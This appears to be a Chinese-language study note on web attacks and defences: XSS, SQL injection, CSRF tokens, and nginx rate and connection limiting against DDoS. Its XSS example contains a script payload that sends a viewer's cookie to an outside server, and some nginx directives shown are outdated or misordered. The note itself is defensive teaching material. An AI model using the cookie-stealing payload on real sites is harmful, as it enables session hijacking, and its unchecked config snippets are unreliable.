1,xss攻击: 用户输入的内容有脚本代码 举例: 我发表篇文章: 包含 <script> window.open("www.b.com?param="+document.cookie); </script>
其他用户点击我这篇文章 就会把他的cookie发到我的服务器上
防防措施: 1,用户输入的内容,做脚本过滤 2,对于不能过滤的内容进行编码转换: 使用apache的commons-lang.jar StringEscapeUtils.escapeHtml(str);进行转换 汉字会转换成对应的ascll码,空格不转换 转义保存,然后在显示时,浏览会对这些字符转换成文本内容显示,而不是一段可执行的代码。
2,sql注入。 就是通过把sql命令插入到web表单提交,最终达到欺骗服务器执行恶意的sql命令, 执行sql的时候不是按照设计者意图去执行sql.
防御: 1,使用参数化的sql语句。 2,避免出现详细错误信息
3,跨站攻击: 使用令牌机制 form表单添加令牌
4,ddos攻击
限制同一个ip一段时间内访问次数: http://www.nginx.cn/446.html HttpLimitReqModul 限制某一段时间内同一个ip访问次数: http{ #定义一个名为allips 的limit_req_zone用来存储session,大小是10M内存 #以$binary_remote_addr为key ,限制平均每秒请求为20个 #1M能存储16000个状态,rate的值必须为整数, #如果限制两秒一个请求,可以设置成30r/m
limit_req_zone $binary_remote_addr zone=allips:10m rate=20r/s; server{ location{ limit_req zone=allips burst=5 nodelay; } } }
参数说明: 1: $binary_remote_addr:表示通过remote_addr这个标识来做限制,"binary_"的目的是缩写内存占用量,是限制同一客户端ip地址 zone=allips:10m 标识生成一个大小为10m,名字为allips的内存区域,用来存储访问频次信息 rate=20r/s 表示允许相同标识的客户端的访问频次,这里限制每秒20次。
2: zone=allips:设置使用哪个配置来做限制,与上面limit_req_zone里的那么对应 burst=5 :burst爆发的意思,这个配置的意思是设置一个大小为5的缓冲区,当有大量请求过来时,超过了访问频次限制的 请求可以先放到这个缓冲区内等待,再超过这个缓冲区会直接报503错误然后返回。
nodelay: 如果设置,会在瞬时提供处理burst+rate个请求的能力,请求超过(burst+rate) 的时候就会直接返回503,永远不存在请求等待的情况。 如果没有设置,则所有请求会一次等待排队。
限制并发连接数,限速 http{
#定义一个名为one的limit_conn_zone ,大小为10M内存来存储session, #以$binary_remote_addr 为key limit_conn_zone one $binary_remote_addr 10m; server{ location{ #限制每个ip只能发起20个连接 limit_zone one 20; #带宽限制,对单个连接限速,如果一个ip两个连接,就是500k*2 limit_rate 500k; }
}
}
配在location里,对css,js ,图片等不限速,需另取一个location /img/{} 专门处理图片。
加入白名单,排除限制: http{ geo $limited{ default 1; ip 0; ip 0; }
}
限制同一个ip 在一段时间内的访问次数: limit_req_zone $binary_remote_addr zone=allips:10m rate=20r/s; limit_req zone=allips burst=5 nodelay;
burst:爆发5个等待 nodelay:不等待,立刻返回503
限制同一个ip并发连接数: limit_conn_zone one $binary_remote_addr 10m; limit_zone one 20; #带宽限制,对单个连接限速,如果一个ip两个连接,就是500k*2 limit_rate 500k;
负载均衡: upstream Test { server ip:port; }
location / { proxy_pass http://Test; }